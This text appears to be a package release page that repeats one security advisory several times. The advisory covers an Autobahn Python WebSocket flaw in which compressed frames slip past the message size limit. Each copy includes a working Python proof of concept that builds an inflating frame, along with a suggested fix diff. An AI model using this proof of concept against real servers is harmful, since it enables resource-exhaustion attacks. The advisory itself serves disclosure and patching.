             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Feb 13, 2022

21.3.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Mar 02, 2021

21.2.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Feb 26, 2021

21.1.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
